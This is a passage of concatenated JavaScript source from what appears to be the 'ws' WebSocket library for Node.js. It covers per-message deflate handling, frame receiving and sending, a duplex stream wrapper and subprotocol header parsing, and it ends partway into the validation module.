=> { if (!this._deflate) { // // The deflate stream was closed while data was being processed. // return; } let data = bufferUtil.concat( this._deflate[kBuffers], this._deflate[kTotalLength] ); if (fin) { data = new FastBuffer(data.buffer, data.byteOffset, data.length - 4); } // // Ensure that the callback will not be called again in // `PerMessageDeflate#cleanup()`. // this._deflate[kCallback] = null; this._deflate[kTotalLength] = 0; this._deflate[kBuffers] = []; if (fin && this.params[`${endpoint}_no_context_takeover`]) { this._deflate.reset(); } callback(null, data); }); } } module.exports = PerMessageDeflate; /** * The listener of the `zlib.DeflateRaw` stream `'data'` event. * * @param {Buffer} chunk A chunk of data * @private */ function deflateOnData(chunk) { this[kBuffers].push(chunk); this[kTotalLength] += chunk.length; } /** * The listener of the `zlib.InflateRaw` stream `'data'` event. * * @param {Buffer} chunk A chunk of data * @private */ function inflateOnData(chunk) { this[kTotalLength] += chunk.length; if ( this[kPerMessageDeflate]._maxPayload < 1 || this[kTotalLength] <= this[kPerMessageDeflate]._maxPayload ) { this[kBuffers].push(chunk); return; } this[kError] = new RangeError('Max payload size exceeded'); this[kError].code = 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH'; this[kError][kStatusCode] = 1009; this.removeListener('data', inflateOnData); // // The choice to employ `zlib.reset()` over `zlib.close()` is dictated by the // fact that in Node.js versions prior to 13.10.0, the callback for // `zlib.flush()` is not called if `zlib.close()` is used. Utilizing // `zlib.reset()` ensures that either the callback is invoked or an error is // emitted. // this.reset(); } /** * The listener of the `zlib.InflateRaw` stream `'error'` event. * * @param {Error} err The emitted error * @private */ function inflateOnError(err) { // // There is no need to call `Zlib#close()` as the handle is automatically // closed when an error is emitted. // this[kPerMessageDeflate]._inflate = null; if (this[kError]) { this[kCallback](this[kError]); return; } err[kStatusCode] = 1007; this[kCallback](err); } 'use strict'; const { Writable } = require('stream'); const PerMessageDeflate = require('./permessage-deflate'); const { BINARY_TYPES, EMPTY_BUFFER, kStatusCode, kWebSocket } = require('./constants'); const { concat, toArrayBuffer, unmask } = require('./buffer-util'); const { isValidStatusCode, isValidUTF8 } = require('./validation'); const FastBuffer = Buffer[Symbol.species]; const GET_INFO = 0; const GET_PAYLOAD_LENGTH_16 = 1; const GET_PAYLOAD_LENGTH_64 = 2; const GET_MASK = 3; const GET_DATA = 4; const INFLATING = 5; const DEFER_EVENT = 6; /** * HyBi Receiver implementation. * * @extends Writable */ class Receiver extends Writable { /** * Creates a Receiver instance. * * @param {Object} [options] Options object * @param {Boolean} [options.allowSynchronousEvents=true] Specifies whether * any of the `'message'`, `'ping'`, and `'pong'` events can be emitted * multiple times in the same tick * @param {String} [options.binaryType=nodebuffer] The type for binary data * @param {Object} [options.extensions] An object containing the negotiated * extensions * @param {Boolean} [options.isServer=false] Specifies whether to operate in * client or server mode * @param {Number} [options.maxBufferedChunks=0] The maximum number of * buffered data chunks * @param {Number} [options.maxFragments=0] The maximum number of message * fragments * @param {Number} [options.maxPayload=0] The maximum allowed message length * @param {Boolean} [options.skipUTF8Validation=false] Specifies whether or * not to skip UTF-8 validation for text and close messages */ constructor(options = {}) { super(); this._allowSynchronousEvents = options.allowSynchronousEvents !== undefined ? options.allowSynchronousEvents : true; this._binaryType = options.binaryType || BINARY_TYPES[0]; this._extensions = options.extensions || {}; this._isServer = !!options.isServer; this._maxBufferedChunks = options.maxBufferedChunks | 0; this._maxFragments = options.maxFragments | 0; this._maxPayload = options.maxPayload | 0; this._skipUTF8Validation = !!options.skipUTF8Validation; this[kWebSocket] = undefined; this._bufferedBytes = 0; this._buffers = []; this._compressed = false; this._payloadLength = 0; this._mask = undefined; this._fragmented = 0; this._masked = false; this._fin = false; this._opcode = 0; this._totalPayloadLength = 0; this._messageLength = 0; this._numFragments = 0; this._fragments = []; this._errored = false; this._loop = false; this._state = GET_INFO; } /** * Implements `Writable.prototype._write()`. * * @param {Buffer} chunk The chunk of data to write * @param {String} encoding The character encoding of `chunk` * @param {Function} cb Callback * @private */ _write(chunk, encoding, cb) { if (this._opcode === 0x08 && this._state == GET_INFO) return cb(); if ( this._maxBufferedChunks > 0 && this._buffers.length >= this._maxBufferedChunks ) { cb( this.createError( RangeError, 'Too many buffered chunks', false, 1008, 'WS_ERR_TOO_MANY_BUFFERED_PARTS' ) ); return; } this._bufferedBytes += chunk.length; this._buffers.push(chunk); this.startLoop(cb); } /** * Consumes `n` bytes from the buffered data. * * @param {Number} n The number of bytes to consume * @return {Buffer} The consumed bytes * @private */ consume(n) { this._bufferedBytes -= n; if (n === this._buffers[0].length) return this._buffers.shift(); if (n < this._buffers[0].length) { const buf = this._buffers[0]; this._buffers[0] = new FastBuffer( buf.buffer, buf.byteOffset + n, buf.length - n ); return new FastBuffer(buf.buffer, buf.byteOffset, n); } const dst = Buffer.allocUnsafe(n); do { const buf = this._buffers[0]; const offset = dst.length - n; if (n >= buf.length) { dst.set(this._buffers.shift(), offset); } else { dst.set(new Uint8Array(buf.buffer, buf.byteOffset, n), offset); this._buffers[0] = new FastBuffer( buf.buffer, buf.byteOffset + n, buf.length - n ); } n -= buf.length; } while (n > 0); return dst; } /** * Starts the parsing loop. * * @param {Function} cb Callback * @private */ startLoop(cb) { this._loop = true; do { switch (this._state) { case GET_INFO: this.getInfo(cb); break; case GET_PAYLOAD_LENGTH_16: this.getPayloadLength16(cb); break; case GET_PAYLOAD_LENGTH_64: this.getPayloadLength64(cb); break; case GET_MASK: this.getMask(); break; case GET_DATA: this.getData(cb); break; case INFLATING: case DEFER_EVENT: this._loop = false; return; } } while (this._loop); if (!this._errored) cb(); } /** * Reads the first two bytes of a frame. * * @param {Function} cb Callback * @private */ getInfo(cb) { if (this._bufferedBytes < 2) { this._loop = false; return; } const buf = this.consume(2); if ((buf[0] & 0x30) !== 0x00) { const error = this.createError( RangeError, 'RSV2 and RSV3 must be clear', true, 1002, 'WS_ERR_UNEXPECTED_RSV_2_3' ); cb(error); return; } const compressed = (buf[0] & 0x40) === 0x40; if (compressed && !this._extensions[PerMessageDeflate.extensionName]) { const error = this.createError( RangeError, 'RSV1 must be clear', true, 1002, 'WS_ERR_UNEXPECTED_RSV_1' ); cb(error); return; } this._fin = (buf[0] & 0x80) === 0x80; this._opcode = buf[0] & 0x0f; this._payloadLength = buf[1] & 0x7f; if (this._opcode === 0x00) { if (compressed) { const error = this.createError( RangeError, 'RSV1 must be clear', true, 1002, 'WS_ERR_UNEXPECTED_RSV_1' ); cb(error); return; } if (!this._fragmented) { const error = this.createError( RangeError, 'invalid opcode 0', true, 1002, 'WS_ERR_INVALID_OPCODE' ); cb(error); return; } this._opcode = this._fragmented; } else if (this._opcode === 0x01 || this._opcode === 0x02) { if (this._fragmented) { const error = this.createError( RangeError, `invalid opcode ${this._opcode}`, true, 1002, 'WS_ERR_INVALID_OPCODE' ); cb(error); return; } this._compressed = compressed; } else if (this._opcode > 0x07 && this._opcode < 0x0b) { if (!this._fin) { const error = this.createError( RangeError, 'FIN must be set', true, 1002, 'WS_ERR_EXPECTED_FIN' ); cb(error); return; } if (compressed) { const error = this.createError( RangeError, 'RSV1 must be clear', true, 1002, 'WS_ERR_UNEXPECTED_RSV_1' ); cb(error); return; } if ( this._payloadLength > 0x7d || (this._opcode === 0x08 && this._payloadLength === 1) ) { const error = this.createError( RangeError, `invalid payload length ${this._payloadLength}`, true, 1002, 'WS_ERR_INVALID_CONTROL_PAYLOAD_LENGTH' ); cb(error); return; } } else { const error = this.createError( RangeError, `invalid opcode ${this._opcode}`, true, 1002, 'WS_ERR_INVALID_OPCODE' ); cb(error); return; } if (!this._fin && !this._fragmented) this._fragmented = this._opcode; this._masked = (buf[1] & 0x80) === 0x80; if (this._isServer) { if (!this._masked) { const error = this.createError( RangeError, 'MASK must be set', true, 1002, 'WS_ERR_EXPECTED_MASK' ); cb(error); return; } } else if (this._masked) { const error = this.createError( RangeError, 'MASK must be clear', true, 1002, 'WS_ERR_UNEXPECTED_MASK' ); cb(error); return; } if (this._payloadLength === 126) this._state = GET_PAYLOAD_LENGTH_16; else if (this._payloadLength === 127) this._state = GET_PAYLOAD_LENGTH_64; else this.haveLength(cb); } /** * Gets extended payload length (7+16). * * @param {Function} cb Callback * @private */ getPayloadLength16(cb) { if (this._bufferedBytes < 2) { this._loop = false; return; } this._payloadLength = this.consume(2).readUInt16BE(0); this.haveLength(cb); } /** * Gets extended payload length (7+64). * * @param {Function} cb Callback * @private */ getPayloadLength64(cb) { if (this._bufferedBytes < 8) { this._loop = false; return; } const buf = this.consume(8); const num = buf.readUInt32BE(0); // // The maximum safe integer in JavaScript is 2^53 - 1. An error is returned // if payload length is greater than this number. // if (num > Math.pow(2, 53 - 32) - 1) { const error = this.createError( RangeError, 'Unsupported WebSocket frame: payload length > 2^53 - 1', false, 1009, 'WS_ERR_UNSUPPORTED_DATA_PAYLOAD_LENGTH' ); cb(error); return; } this._payloadLength = num * Math.pow(2, 32) + buf.readUInt32BE(4); this.haveLength(cb); } /** * Payload length has been read. * * @param {Function} cb Callback * @private */ haveLength(cb) { if (this._payloadLength && this._opcode < 0x08) { this._totalPayloadLength += this._payloadLength; if (this._totalPayloadLength > this._maxPayload && this._maxPayload > 0) { const error = this.createError( RangeError, 'Max payload size exceeded', false, 1009, 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH' ); cb(error); return; } } if (this._masked) this._state = GET_MASK; else this._state = GET_DATA; } /** * Reads mask bytes. * * @private */ getMask() { if (this._bufferedBytes < 4) { this._loop = false; return; } this._mask = this.consume(4); this._state = GET_DATA; } /** * Reads data bytes. * * @param {Function} cb Callback * @private */ getData(cb) { let data = EMPTY_BUFFER; if (this._payloadLength) { if (this._bufferedBytes < this._payloadLength) { this._loop = false; return; } data = this.consume(this._payloadLength); if ( this._masked && (this._mask[0] | this._mask[1] | this._mask[2] | this._mask[3]) !== 0 ) { unmask(data, this._mask); } } // // The mask is a view into the buffer the stream delivered, which is commonly // 64 KiB, and it is not needed once the payload above has been unmasked. // Leaving it set would pin that whole buffer until the next frame arrives, // which on an idle connection can be indefinitely. // this._mask = undefined; if (this._opcode > 0x07) { this.controlMessage(data, cb); return; } if (this._maxFragments > 0 && ++this._numFragments > this._maxFragments) { const error = this.createError( RangeError, 'Too many message fragments', false, 1008, 'WS_ERR_TOO_MANY_BUFFERED_PARTS' ); cb(error); return; } if (this._compressed) { this._state = INFLATING; this.decompress(data, cb); return; } if (data.length) { // // This message is not compressed so its length is the sum of the payload // length of all fragments. // this._messageLength = this._totalPayloadLength; this._fragments.push(data); } this.dataMessage(cb); } /** * Decompresses data. * * @param {Buffer} data Compressed data * @param {Function} cb Callback * @private */ decompress(data, cb) { const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName]; perMessageDeflate.decompress(data, this._fin, (err, buf) => { if (err) return cb(err); if (buf.length) { this._messageLength += buf.length; if (this._messageLength > this._maxPayload && this._maxPayload > 0) { const error = this.createError( RangeError, 'Max payload size exceeded', false, 1009, 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH' ); cb(error); return; } this._fragments.push(buf); } this.dataMessage(cb); if (this._state === GET_INFO) this.startLoop(cb); }); } /** * Handles a data message. * * @param {Function} cb Callback * @private */ dataMessage(cb) { if (!this._fin) { this._state = GET_INFO; return; } const messageLength = this._messageLength; const fragments = this._fragments; this._totalPayloadLength = 0; this._messageLength = 0; this._fragmented = 0; this._numFragments = 0; this._fragments = []; if (this._opcode === 2) { let data; if (this._binaryType === 'nodebuffer') { data = concat(fragments, messageLength); } else if (this._binaryType === 'arraybuffer') { data = toArrayBuffer(concat(fragments, messageLength)); } else if (this._binaryType === 'blob') { data = new Blob(fragments); } else { data = fragments; } if (this._allowSynchronousEvents) { this.emit('message', data, true); this._state = GET_INFO; } else { this._state = DEFER_EVENT; setImmediate(() => { this.emit('message', data, true); this._state = GET_INFO; this.startLoop(cb); }); } } else { const buf = concat(fragments, messageLength); if (!this._skipUTF8Validation && !isValidUTF8(buf)) { const error = this.createError( Error, 'invalid UTF-8 sequence', true, 1007, 'WS_ERR_INVALID_UTF8' ); cb(error); return; } if (this._state === INFLATING || this._allowSynchronousEvents) { this.emit('message', buf, false); this._state = GET_INFO; } else { this._state = DEFER_EVENT; setImmediate(() => { this.emit('message', buf, false); this._state = GET_INFO; this.startLoop(cb); }); } } } /** * Handles a control message. * * @param {Buffer} data Data to handle * @return {(Error|RangeError|undefined)} A possible error * @private */ controlMessage(data, cb) { if (this._opcode === 0x08) { if (data.length === 0) { this._loop = false; this.emit('conclude', 1005, EMPTY_BUFFER); this.end(); } else { const code = data.readUInt16BE(0); if (!isValidStatusCode(code)) { const error = this.createError( RangeError, `invalid status code ${code}`, true, 1002, 'WS_ERR_INVALID_CLOSE_CODE' ); cb(error); return; } const buf = new FastBuffer( data.buffer, data.byteOffset + 2, data.length - 2 ); if (!this._skipUTF8Validation && !isValidUTF8(buf)) { const error = this.createError( Error, 'invalid UTF-8 sequence', true, 1007, 'WS_ERR_INVALID_UTF8' ); cb(error); return; } this._loop = false; this.emit('conclude', code, buf); this.end(); } this._state = GET_INFO; return; } if (this._allowSynchronousEvents) { this.emit(this._opcode === 0x09 ? 'ping' : 'pong', data); this._state = GET_INFO; } else { this._state = DEFER_EVENT; setImmediate(() => { this.emit(this._opcode === 0x09 ? 'ping' : 'pong', data); this._state = GET_INFO; this.startLoop(cb); }); } } /** * Builds an error object. * * @param {function(new:Error|RangeError)} ErrorCtor The error constructor * @param {String} message The error message * @param {Boolean} prefix Specifies whether or not to add a default prefix to * `message` * @param {Number} statusCode The status code * @param {String} errorCode The exposed error code * @return {(Error|RangeError)} The error * @private */ createError(ErrorCtor, message, prefix, statusCode, errorCode) { this._loop = false; this._errored = true; const err = new ErrorCtor( prefix ? `Invalid WebSocket frame: ${message}` : message ); Error.captureStackTrace(err, this.createError); err.code = errorCode; err[kStatusCode] = statusCode; return err; } } module.exports = Receiver; /* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^Duplex" }] */ 'use strict'; const { Duplex } = require('stream'); const { randomFillSync } = require('crypto'); const { types: { isUint8Array } } = require('util'); const PerMessageDeflate = require('./permessage-deflate'); const { EMPTY_BUFFER, kWebSocket, NOOP } = require('./constants'); const { isBlob, isValidStatusCode } = require('./validation'); const { mask: applyMask, toBuffer } = require('./buffer-util'); const kByteLength = Symbol('kByteLength'); const maskBuffer = Buffer.alloc(4); const RANDOM_POOL_SIZE = 8 * 1024; let randomPool; let randomPoolPointer = RANDOM_POOL_SIZE; const DEFAULT = 0; const DEFLATING = 1; const GET_BLOB_DATA = 2; /** * HyBi Sender implementation. */ class Sender { /** * Creates a Sender instance. * * @param {Duplex} socket The connection socket * @param {Object} [extensions] An object containing the negotiated extensions * @param {Function} [generateMask] The function used to generate the masking * key */ constructor(socket, extensions, generateMask) { this._extensions = extensions || {}; if (generateMask) { this._generateMask = generateMask; this._maskBuffer = Buffer.alloc(4); } this._socket = socket; this._firstFragment = true; this._compress = false; this._bufferedBytes = 0; this._queue = []; this._state = DEFAULT; this.onerror = NOOP; this[kWebSocket] = undefined; } /** * Frames a piece of data according to the HyBi WebSocket protocol. * * @param {(Buffer|String)} data The data to frame * @param {Object} options Options object * @param {Boolean} [options.fin=false] Specifies whether or not to set the * FIN bit * @param {Function} [options.generateMask] The function used to generate the * masking key * @param {Boolean} [options.mask=false] Specifies whether or not to mask * `data` * @param {Buffer} [options.maskBuffer] The buffer used to store the masking * key * @param {Number} options.opcode The opcode * @param {Boolean} [options.readOnly=false] Specifies whether `data` can be * modified * @param {Boolean} [options.rsv1=false] Specifies whether or not to set the * RSV1 bit * @return {(Buffer|String)[]} The framed data * @public */ static frame(data, options) { let mask; let merge = false; let offset = 2; let skipMasking = false; if (options.mask) { mask = options.maskBuffer || maskBuffer; if (options.generateMask) { options.generateMask(mask); } else { if (randomPoolPointer === RANDOM_POOL_SIZE) { /* istanbul ignore else */ if (randomPool === undefined) { // // This is lazily initialized because server-sent frames must not // be masked so it may never be used. // randomPool = Buffer.alloc(RANDOM_POOL_SIZE); } randomFillSync(randomPool, 0, RANDOM_POOL_SIZE); randomPoolPointer = 0; } mask[0] = randomPool[randomPoolPointer++]; mask[1] = randomPool[randomPoolPointer++]; mask[2] = randomPool[randomPoolPointer++]; mask[3] = randomPool[randomPoolPointer++]; } skipMasking = (mask[0] | mask[1] | mask[2] | mask[3]) === 0; offset = 6; } let dataLength; if (typeof data === 'string') { if ( (!options.mask || skipMasking) && options[kByteLength] !== undefined ) { dataLength = options[kByteLength]; } else { data = Buffer.from(data); dataLength = data.length; } } else { dataLength = data.length; merge = options.mask && options.readOnly && !skipMasking; } let payloadLength = dataLength; if (dataLength >= 65536) { offset += 8; payloadLength = 127; } else if (dataLength > 125) { offset += 2; payloadLength = 126; } const target = Buffer.allocUnsafe(merge ? dataLength + offset : offset); target[0] = options.fin ? options.opcode | 0x80 : options.opcode; if (options.rsv1) target[0] |= 0x40; target[1] = payloadLength; if (payloadLength === 126) { target.writeUInt16BE(dataLength, 2); } else if (payloadLength === 127) { target[2] = target[3] = 0; target.writeUIntBE(dataLength, 4, 6); } if (!options.mask) { return dataLength ? [target, data] : [target]; } target[1] |= 0x80; target[offset - 4] = mask[0]; target[offset - 3] = mask[1]; target[offset - 2] = mask[2]; target[offset - 1] = mask[3]; if (!dataLength) return [target]; if (skipMasking) return [target, data]; if (merge) { applyMask(data, mask, target, offset, dataLength); return [target]; } applyMask(data, mask, data, 0, dataLength); return [target, data]; } /** * Sends a close message to the other peer. * * @param {Number} [code] The status code component of the body * @param {(String|Buffer)} [data] The message component of the body * @param {Boolean} [mask=false] Specifies whether or not to mask the message * @param {Function} [cb] Callback * @public */ close(code, data, mask, cb) { let buf; if (code === undefined) { buf = EMPTY_BUFFER; } else if (typeof code !== 'number' || !isValidStatusCode(code)) { throw new TypeError('First argument must be a valid error code number'); } else if (data === undefined || !data.length) { buf = Buffer.allocUnsafe(2); buf.writeUInt16BE(code, 0); } else { const length = Buffer.byteLength(data); if (length > 123) { throw new RangeError('The message must not be greater than 123 bytes'); } buf = Buffer.allocUnsafe(2 + length); buf.writeUInt16BE(code, 0); if (typeof data === 'string') { buf.write(data, 2); } else if (isUint8Array(data)) { buf.set(data, 2); } else { throw new TypeError('Second argument must be a string or a Uint8Array'); } } const options = { [kByteLength]: buf.length, fin: true, generateMask: this._generateMask, mask, maskBuffer: this._maskBuffer, opcode: 0x08, readOnly: false, rsv1: false }; if (this._state !== DEFAULT) { this.enqueue([this.dispatch, buf, false, options, cb]); } else { this.sendFrame(Sender.frame(buf, options), cb); } } /** * Sends a ping message to the other peer. * * @param {*} data The message to send * @param {Boolean} [mask=false] Specifies whether or not to mask `data` * @param {Function} [cb] Callback * @public */ ping(data, mask, cb) { let byteLength; let readOnly; if (typeof data === 'string') { byteLength = Buffer.byteLength(data); readOnly = false; } else if (isBlob(data)) { byteLength = data.size; readOnly = false; } else { data = toBuffer(data); byteLength = data.length; readOnly = toBuffer.readOnly; } if (byteLength > 125) { throw new RangeError('The data size must not be greater than 125 bytes'); } const options = { [kByteLength]: byteLength, fin: true, generateMask: this._generateMask, mask, maskBuffer: this._maskBuffer, opcode: 0x09, readOnly, rsv1: false }; if (isBlob(data)) { if (this._state !== DEFAULT) { this.enqueue([this.getBlobData, data, false, options, cb]); } else { this.getBlobData(data, false, options, cb); } } else if (this._state !== DEFAULT) { this.enqueue([this.dispatch, data, false, options, cb]); } else { this.sendFrame(Sender.frame(data, options), cb); } } /** * Sends a pong message to the other peer. * * @param {*} data The message to send * @param {Boolean} [mask=false] Specifies whether or not to mask `data` * @param {Function} [cb] Callback * @public */ pong(data, mask, cb) { let byteLength; let readOnly; if (typeof data === 'string') { byteLength = Buffer.byteLength(data); readOnly = false; } else if (isBlob(data)) { byteLength = data.size; readOnly = false; } else { data = toBuffer(data); byteLength = data.length; readOnly = toBuffer.readOnly; } if (byteLength > 125) { throw new RangeError('The data size must not be greater than 125 bytes'); } const options = { [kByteLength]: byteLength, fin: true, generateMask: this._generateMask, mask, maskBuffer: this._maskBuffer, opcode: 0x0a, readOnly, rsv1: false }; if (isBlob(data)) { if (this._state !== DEFAULT) { this.enqueue([this.getBlobData, data, false, options, cb]); } else { this.getBlobData(data, false, options, cb); } } else if (this._state !== DEFAULT) { this.enqueue([this.dispatch, data, false, options, cb]); } else { this.sendFrame(Sender.frame(data, options), cb); } } /** * Sends a data message to the other peer. * * @param {*} data The message to send * @param {Object} options Options object * @param {Boolean} [options.binary=false] Specifies whether `data` is binary * or text * @param {Boolean} [options.compress=false] Specifies whether or not to * compress `data` * @param {Boolean} [options.fin=false] Specifies whether the fragment is the * last one * @param {Boolean} [options.mask=false] Specifies whether or not to mask * `data` * @param {Function} [cb] Callback * @public */ send(data, options, cb) { const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName]; let opcode = options.binary ? 2 : 1; let rsv1 = options.compress; let byteLength; let readOnly; if (typeof data === 'string') { byteLength = Buffer.byteLength(data); readOnly = false; } else if (isBlob(data)) { byteLength = data.size; readOnly = false; } else { data = toBuffer(data); byteLength = data.length; readOnly = toBuffer.readOnly; } if (this._firstFragment) { this._firstFragment = false; if ( rsv1 && perMessageDeflate && perMessageDeflate.params[ perMessageDeflate._isServer ? 'server_no_context_takeover' : 'client_no_context_takeover' ] ) { rsv1 = byteLength >= perMessageDeflate._threshold; } this._compress = rsv1; } else { rsv1 = false; opcode = 0; } if (options.fin) this._firstFragment = true; const opts = { [kByteLength]: byteLength, fin: options.fin, generateMask: this._generateMask, mask: options.mask, maskBuffer: this._maskBuffer, opcode, readOnly, rsv1 }; if (isBlob(data)) { if (this._state !== DEFAULT) { this.enqueue([this.getBlobData, data, this._compress, opts, cb]); } else { this.getBlobData(data, this._compress, opts, cb); } } else if (this._state !== DEFAULT) { this.enqueue([this.dispatch, data, this._compress, opts, cb]); } else { this.dispatch(data, this._compress, opts, cb); } } /** * Gets the contents of a blob as binary data. * * @param {Blob} blob The blob * @param {Boolean} [compress=false] Specifies whether or not to compress * the data * @param {Object} options Options object * @param {Boolean} [options.fin=false] Specifies whether or not to set the * FIN bit * @param {Function} [options.generateMask] The function used to generate the * masking key * @param {Boolean} [options.mask=false] Specifies whether or not to mask * `data` * @param {Buffer} [options.maskBuffer] The buffer used to store the masking * key * @param {Number} options.opcode The opcode * @param {Boolean} [options.readOnly=false] Specifies whether `data` can be * modified * @param {Boolean} [options.rsv1=false] Specifies whether or not to set the * RSV1 bit * @param {Function} [cb] Callback * @private */ getBlobData(blob, compress, options, cb) { this._bufferedBytes += options[kByteLength]; this._state = GET_BLOB_DATA; blob .arrayBuffer() .then((arrayBuffer) => { if (this._socket.destroyed) { const err = new Error( 'The socket was closed while the blob was being read' ); // // `callCallbacks` is called in the next tick to ensure that errors // that might be thrown in the callbacks behave like errors thrown // outside the promise chain. // process.nextTick(callCallbacks, this, err, cb); return; } this._bufferedBytes -= options[kByteLength]; const data = toBuffer(arrayBuffer); if (!compress) { this._state = DEFAULT; this.sendFrame(Sender.frame(data, options), cb); this.dequeue(); } else { this.dispatch(data, compress, options, cb); } }) .catch((err) => { // // `onError` is called in the next tick for the same reason that // `callCallbacks` above is. // process.nextTick(onError, this, err, cb); }); } /** * Dispatches a message. * * @param {(Buffer|String)} data The message to send * @param {Boolean} [compress=false] Specifies whether or not to compress * `data` * @param {Object} options Options object * @param {Boolean} [options.fin=false] Specifies whether or not to set the * FIN bit * @param {Function} [options.generateMask] The function used to generate the * masking key * @param {Boolean} [options.mask=false] Specifies whether or not to mask * `data` * @param {Buffer} [options.maskBuffer] The buffer used to store the masking * key * @param {Number} options.opcode The opcode * @param {Boolean} [options.readOnly=false] Specifies whether `data` can be * modified * @param {Boolean} [options.rsv1=false] Specifies whether or not to set the * RSV1 bit * @param {Function} [cb] Callback * @private */ dispatch(data, compress, options, cb) { if (!compress) { this.sendFrame(Sender.frame(data, options), cb); return; } const perMessageDeflate = this._extensions[PerMessageDeflate.extensionName]; this._bufferedBytes += options[kByteLength]; this._state = DEFLATING; perMessageDeflate.compress(data, options.fin, (_, buf) => { if (this._socket.destroyed) { const err = new Error( 'The socket was closed while data was being compressed' ); callCallbacks(this, err, cb); return; } this._bufferedBytes -= options[kByteLength]; this._state = DEFAULT; options.readOnly = false; this.sendFrame(Sender.frame(buf, options), cb); this.dequeue(); }); } /** * Executes queued send operations. * * @private */ dequeue() { while (this._state === DEFAULT && this._queue.length) { const params = this._queue.shift(); this._bufferedBytes -= params[3][kByteLength]; Reflect.apply(params[0], this, params.slice(1)); } } /** * Enqueues a send operation. * * @param {Array} params Send operation parameters. * @private */ enqueue(params) { this._bufferedBytes += params[3][kByteLength]; this._queue.push(params); } /** * Sends a frame. * * @param {(Buffer | String)[]} list The frame to send * @param {Function} [cb] Callback * @private */ sendFrame(list, cb) { if (list.length === 2) { this._socket.cork(); this._socket.write(list[0]); this._socket.write(list[1], cb); this._socket.uncork(); } else { this._socket.write(list[0], cb); } } } module.exports = Sender; /** * Calls queued callbacks with an error. * * @param {Sender} sender The `Sender` instance * @param {Error} err The error to call the callbacks with * @param {Function} [cb] The first callback * @private */ function callCallbacks(sender, err, cb) { if (typeof cb === 'function') cb(err); for (let i = 0; i < sender._queue.length; i++) { const params = sender._queue[i]; const callback = params[params.length - 1]; if (typeof callback === 'function') callback(err); } } /** * Handles a `Sender` error. * * @param {Sender} sender The `Sender` instance * @param {Error} err The error * @param {Function} [cb] The first pending callback * @private */ function onError(sender, err, cb) { callCallbacks(sender, err, cb); sender.onerror(err); } /* eslint no-unused-vars: ["error", { "varsIgnorePattern": "^WebSocket$" }] */ 'use strict'; const WebSocket = require('./websocket'); const { Duplex } = require('stream'); /** * Emits the `'close'` event on a stream. * * @param {Duplex} stream The stream. * @private */ function emitClose(stream) { stream.emit('close'); } /** * The listener of the `'end'` event. * * @private */ function duplexOnEnd() { if (!this.destroyed && this._writableState.finished) { this.destroy(); } } /** * The listener of the `'error'` event. * * @param {Error} err The error * @private */ function duplexOnError(err) { this.removeListener('error', duplexOnError); this.destroy(); if (this.listenerCount('error') === 0) { // Do not suppress the throwing behavior. this.emit('error', err); } } /** * Wraps a `WebSocket` in a duplex stream. * * @param {WebSocket} ws The `WebSocket` to wrap * @param {Object} [options] The options for the `Duplex` constructor * @return {Duplex} The duplex stream * @public */ function createWebSocketStream(ws, options) { let terminateOnDestroy = true; const duplex = new Duplex({ ...options, autoDestroy: false, emitClose: false, objectMode: false, writableObjectMode: false }); ws.on('message', function message(msg, isBinary) { const data = !isBinary && duplex._readableState.objectMode ? msg.toString() : msg; if (!duplex.push(data)) ws.pause(); }); ws.once('error', function error(err) { if (duplex.destroyed) return; // Prevent `ws.terminate()` from being called by `duplex._destroy()`. // // - If the `'error'` event is emitted before the `'open'` event, then // `ws.terminate()` is a noop as no socket is assigned. // - Otherwise, the error is re-emitted by the listener of the `'error'` // event of the `Receiver` object. The listener already closes the // connection by calling `ws.close()`. This allows a close frame to be // sent to the other peer. If `ws.terminate()` is called right after this, // then the close frame might not be sent. terminateOnDestroy = false; duplex.destroy(err); }); ws.once('close', function close() { if (duplex.destroyed) return; duplex.push(null); }); duplex._destroy = function (err, callback) { if (ws.readyState === ws.CLOSED) { callback(err); process.nextTick(emitClose, duplex); return; } let called = false; ws.once('error', function error(err) { called = true; callback(err); }); ws.once('close', function close() { if (!called) callback(err); process.nextTick(emitClose, duplex); }); if (terminateOnDestroy) ws.terminate(); }; duplex._final = function (callback) { if (ws.readyState === ws.CONNECTING) { ws.once('open', function open() { duplex._final(callback); }); return; } // If the value of the `_socket` property is `null` it means that `ws` is a // client websocket and the handshake failed. In fact, when this happens, a // socket is never assigned to the websocket. Wait for the `'error'` event // that will be emitted by the websocket. if (ws._socket === null) return; if (ws._socket._writableState.finished) { callback(); if (duplex._readableState.endEmitted) duplex.destroy(); } else { ws._socket.once('finish', function finish() { // `duplex` is not destroyed here because the `'end'` event will be // emitted on `duplex` after this `'finish'` event. The EOF signaling // `null` chunk is, in fact, pushed when the websocket emits `'close'`. callback(); }); ws.close(); } }; duplex._read = function () { if (ws.isPaused) ws.resume(); }; duplex._write = function (chunk, encoding, callback) { if (ws.readyState === ws.CONNECTING) { ws.once('open', function open() { duplex._write(chunk, encoding, callback); }); return; } ws.send(chunk, callback); }; duplex.on('end', duplexOnEnd); duplex.on('error', duplexOnError); return duplex; } module.exports = createWebSocketStream; 'use strict'; const { tokenChars } = require('./validation'); /** * Parses the `Sec-WebSocket-Protocol` header into a set of subprotocol names. * * @param {String} header The field value of the header * @return {Set} The subprotocol names * @public */ function parse(header) { const protocols = new Set(); let start = -1; let end = -1; let i = 0; for (i; i < header.length; i++) { const code = header.charCodeAt(i); if (end === -1 && tokenChars[code] === 1) { if (start === -1) start = i; } else if ( i !== 0 && (code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */ ) { if (end === -1 && start !== -1) end = i; } else if (code === 0x2c /* ',' */) { if (start === -1) { throw new SyntaxError(`Unexpected character at index ${i}`); } if (end === -1) end = i; const protocol = header.slice(start, end); if (protocols.has(protocol)) { throw new SyntaxError(`The "${protocol}" subprotocol is duplicated`); } protocols.add(protocol); start = end = -1; } else { throw new SyntaxError(`Unexpected character at index ${i}`); } } if (start === -1 || end !== -1) { throw new SyntaxError('Unexpected end of input'); } const protocol = header.slice(start, i); if (protocols.has(protocol)) { throw new SyntaxError(`The "${protocol}" subprotocol is duplicated`); } protocols.add(protocol); return protocols; } module.exports = { parse }; 'use strict'; const { isUtf8 } = require('buffer'); const { hasBlob } = require('./constants'); // // Allowed token characters: // // '!', '#', '$', '%', '&', ''', '*', '+', '-', // '.', 0-9, A-Z, '^', '_', '`', a-z, '|', '~' // // tokenChars[32] === 0 // ' ' // tokenChars[33] === 1 // '!' // 